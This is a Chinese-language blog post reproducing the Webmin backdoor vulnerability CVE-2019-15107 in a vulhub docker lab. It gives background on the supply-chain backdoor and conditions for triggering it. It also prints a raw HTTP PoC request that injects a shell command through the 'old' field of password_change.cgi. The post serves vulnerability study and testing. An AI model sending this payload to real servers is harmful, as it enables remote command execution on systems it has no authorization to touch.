Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

CVE-2019-15107 Webmin Backdoor RCE 简易复现

wpadmin~September 2, 2019 /System Management

CVE-2019-15107 Webmin RCE

基本信息

CVE-2019-15107 最早是 2019 年 8 月 10 日的 Defcon 上由一位土耳其安全研究员 Özkan Mustafa Akkuş 公开。

根据知道创宇404团队的推测,CVE-2019-15107 是一次供应链攻击。理由在于:
第一,只有 sourceforge 来源 (https://sourceforge.net/projects/webadmin/files/webmin/) 的 webmin 存在问题,而 webmin 团队的官方 github 仓库中的代码不存在相关问题。
第二,触发漏洞的相关代码在原应用中的位置很突兀,正常的业务逻辑通常情况下是不需要相关函数的。

webmin 相关的维护团队成员 Joe Cooper 也证实了相关推测
细节可以参考 https://thehackernews.com/2019/08/webmin-vulnerability-hacking.html

一些值得关注的细节

注意 exploit 的关键点需要携带 Referer: https://target/session_login.cgi 字段。
对于大多数 webmin 版本,默认配置不直接触发后门,需要手动开启重置密码功能。
而对于 Webmin 1.890 这个版本,默认配置即可直接触发后门。

测试环境搭建

# https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
docker pull vulhub/webmin:1.910
docker run -p 10000:10000 -d vulhub/webmin:1.910

访问你的 ip:10000 即可访问 1.910 版本的 webmin

Visit URL http://localhost:10000 you can access webmin 1.910

开启密码重置功能:

Enable Password Reset feature.

Webmin – Webmin confuration – Authentication

PoC

HTTP RAW

POST /password_change.cgi HTTP/1.1
Host: 192.168.198.133:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://192.168.198.133:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

参考资料

Webmin(CVE-2019-15107) 远程代码执行漏洞之 backdoor 探究
https://paper.seebug.org/1019/

CVE-2019-15107:Webmin RCE复现
link

The stories behind Webmin CVE-2019–15107
https://medium.com/@80vul/the-stories-behind-cve-2012-5159-198eaad2449d

Hackers Planted Backdoor in Webmin, Popular Utility for Linux/Unix Servers
https://thehackernews.com/2019/08/webmin-vulnerability-hacking.html

Leave a Reply

Your email address will not be published. Required fields are marked *